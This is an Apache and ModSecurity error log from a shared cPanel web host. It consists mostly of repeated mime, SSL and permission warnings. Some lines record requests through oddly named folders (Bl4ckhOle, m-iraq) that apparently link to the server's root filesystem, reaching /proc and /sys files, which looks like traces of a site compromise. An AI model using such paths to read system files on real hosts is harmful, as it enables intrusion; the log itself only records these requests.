[Fri Jul 17 09:10:49.941149 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:50.036135 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:50.212227 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:50.458699 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:50.759708 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:50.817332 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:50.928249 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:50.965367 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:36268] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:10:51.016286 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:51.032312 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:51.060680 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 57.141.18.55:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory142/node0/memory37/subsystem/devices/memory101/subsystem/devices/memory71/subsystem/uevent
[Fri Jul 17 09:10:51.075777 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:51.137656 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:51.231454 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:51.419896 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:51282] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:10:52.048184 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:52.348300 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:52.417201 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:52.565498 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:52.979438 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:53.058296 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:53.220123 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:53.598562 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:53.626023 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:53.677197 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:53.710832 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:53.885858 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:54.214426 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:54.229537 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:54.317538 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:54.455680 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:54.792036 2026] [ssl:error] [pid 2013809:tid 2013809] (70014)End of file found: [client 66.85.158.91:51634] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:10:55.053024 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:55.137205 2026] [security2:error] [pid 2013829:tid 2013829] [client 4.194.24.143:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-global": Permission denied [hostname "www.diyosh.bostonlanka.com"] [uri "/index.php"] [unique_id "almkRw7FYe46zHK_jL3SSAAAABk"]
[Fri Jul 17 09:10:55.137280 2026] [security2:error] [pid 2013829:tid 2013829] [client 4.194.24.143:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-ip": Permission denied [hostname "www.diyosh.bostonlanka.com"] [uri "/index.php"] [unique_id "almkRw7FYe46zHK_jL3SSAAAABk"]
[Fri Jul 17 09:10:55.266863 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:55.466521 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:55.687892 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:56.316316 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:56.404209 2026] [security2:error] [pid 2029866:tid 2029866] [client 61.5.147.187:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/maximsholdings-global": Permission denied [hostname "maximsholdings.com"] [uri "/xmlrpc.php"] [unique_id "almkSF1_86A5R6msWNfWqgAAABI"]
[Fri Jul 17 09:10:56.404251 2026] [security2:error] [pid 2029866:tid 2029866] [client 61.5.147.187:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/maximsholdings-ip": Permission denied [hostname "maximsholdings.com"] [uri "/xmlrpc.php"] [unique_id "almkSF1_86A5R6msWNfWqgAAABI"]
[Fri Jul 17 09:10:56.417371 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:56.510352 2026] [security2:error] [pid 2029579:tid 2029579] [client 47.79.15.65:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/public_html/backup/js/Bl4ckhOle/root/lib/python3.6/site-packages/dns/__pycache__/query.cpython-36.pyc"] [unique_id "almkSCRF0UOO1RzB5_8waAAAAA4"]
[Fri Jul 17 09:10:56.510383 2026] [security2:error] [pid 2029579:tid 2029579] [client 47.79.15.65:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/public_html/backup/js/Bl4ckhOle/root/lib/python3.6/site-packages/dns/__pycache__/query.cpython-36.pyc"] [unique_id "almkSCRF0UOO1RzB5_8waAAAAA4"]
[Fri Jul 17 09:10:56.518862 2026] [core:error] [pid 2018741:tid 2018741] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/cpu/cpu0/driver/cpu3/crash_notes
[Fri Jul 17 09:10:56.519378 2026] [security2:error] [pid 2018741:tid 2018741] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/system/cpu/cpu0/driver/cpu3/crash_notes"] [unique_id "almkSLoj0IkvhSCYadmD9wAAAAQ"]
[Fri Jul 17 09:10:56.519410 2026] [security2:error] [pid 2018741:tid 2018741] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/system/cpu/cpu0/driver/cpu3/crash_notes"] [unique_id "almkSLoj0IkvhSCYadmD9wAAAAQ"]
[Fri Jul 17 09:10:56.573228 2026] [security2:error] [pid 2019501:tid 2019501] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almkSLEWOaI5pmYo9fnQ_gAAAAA"], referer: http://anandaobauae.org/?C=M;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:10:56.573280 2026] [security2:error] [pid 2019501:tid 2019501] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almkSLEWOaI5pmYo9fnQ_gAAAAA"], referer: http://anandaobauae.org/?C=M;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:10:56.626641 2026] [core:error] [pid 2036488:tid 2036488] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/cpu/cpu3/driver/cpu0/crash_notes
[Fri Jul 17 09:10:56.895367 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:57.104721 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:57.105788 2026] [security2:error] [pid 2029579:tid 2029579] [client 47.82.55.177:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/13:32/subsystem/input4/subsystem/input3/device/id/"] [unique_id "almkSSRF0UOO1RzB5_8waQAAAA4"]
[Fri Jul 17 09:10:57.105825 2026] [security2:error] [pid 2029579:tid 2029579] [client 47.82.55.177:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/13:32/subsystem/input4/subsystem/input3/device/id/"] [unique_id "almkSSRF0UOO1RzB5_8waQAAAA4"]
[Fri Jul 17 09:10:57.253607 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:57.255416 2026] [security2:error] [pid 2031172:tid 2031172] [client 47.82.8.237:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:25/subsystem/tty14/subsystem/tty1/"] [unique_id "almkSejME1mgqYZ5O94olAAAAAE"]
[Fri Jul 17 09:10:57.255480 2026] [security2:error] [pid 2031172:tid 2031172] [client 47.82.8.237:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:25/subsystem/tty14/subsystem/tty1/"] [unique_id "almkSejME1mgqYZ5O94olAAAAAE"]
[Fri Jul 17 09:10:57.336201 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:57.337007 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:57.416370 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:51806] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:10:57.671672 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:58.640179 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:58.817723 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:58.826253 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:58.917769 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:58.951098 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:59.652329 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:59.841308 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:51936] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:10:59.856155 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:59.977243 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:00.368870 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:51968] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:11:00.591682 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:00.695996 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:00.797478 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:00.808338 2026] [security2:error] [pid 2032156:tid 2032156] [client 148.113.128.236:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-global": Permission denied [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "almkTK14q1EBnanVMYGmNwAAAAk"]
[Fri Jul 17 09:11:00.808366 2026] [security2:error] [pid 2032156:tid 2032156] [client 148.113.128.236:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-ip": Permission denied [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "almkTK14q1EBnanVMYGmNwAAAAk"]
[Fri Jul 17 09:11:01.508641 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.016526 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.072733 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:45540] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:11:02.120617 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.444289 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.542498 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.542665 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.542726 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.542769 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.542814 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.542855 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.585197 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.585367 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.585488 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.585541 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.585614 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.585656 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.585718 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.585756 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.585793 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.585844 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.585891 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.627561 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.627685 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.627737 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.627777 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.627826 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.627868 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.627915 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.627954 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.627997 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.628080 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.628121 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.628159 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.628201 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.628254 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.628297 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.628465 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.628522 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.628567 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.628640 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.628689 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.628736 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.628785 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.628825 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.628860 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.628904 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.628946 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.628987 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.629035 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.629105 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.629149 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.629195 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.629252 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.629304 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.629349 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.629408 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.629454 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.629501 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.629550 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.629624 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.629667 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.629709 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.629753 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.629793 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.629836 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:02.853400 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:03.409329 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:03.421318 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:03.963378 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:04.517738 2026] [security2:error] [pid 2030774:tid 2030774] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/sys/bus/pci/devices/0000:00:04.0/subsystem/drivers/thunderbolt/module/parameters/clx"] [unique_id "almkUBHlOGcokz2QIwTVkwAAAAM"]
[Fri Jul 17 09:11:04.517768 2026] [security2:error] [pid 2030774:tid 2030774] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/sys/bus/pci/devices/0000:00:04.0/subsystem/drivers/thunderbolt/module/parameters/clx"] [unique_id "almkUBHlOGcokz2QIwTVkwAAAAM"]
[Fri Jul 17 09:11:06.770689 2026] [core:error] [pid 2013809:tid 2013809] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:7/subsystem/ttyS1/uartclk
[Fri Jul 17 09:11:07.195895 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:07.241840 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:07.455309 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:07.687427 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:07.746892 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:07.790063 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:45910] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:11:08.309608 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:08.309699 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:08.309731 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:08.309777 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:08.309802 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:08.309824 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:08.309848 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:08.309867 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:08.309887 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:08.309907 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:08.309925 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:08.309948 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:08.309969 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:08.310008 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:08.310052 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:08.310079 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:08.310107 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:08.310130 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:08.310151 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:08.310172 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:08.310192 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:08.310211 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:08.310251 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:08.310281 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:08.310303 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:08.310334 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
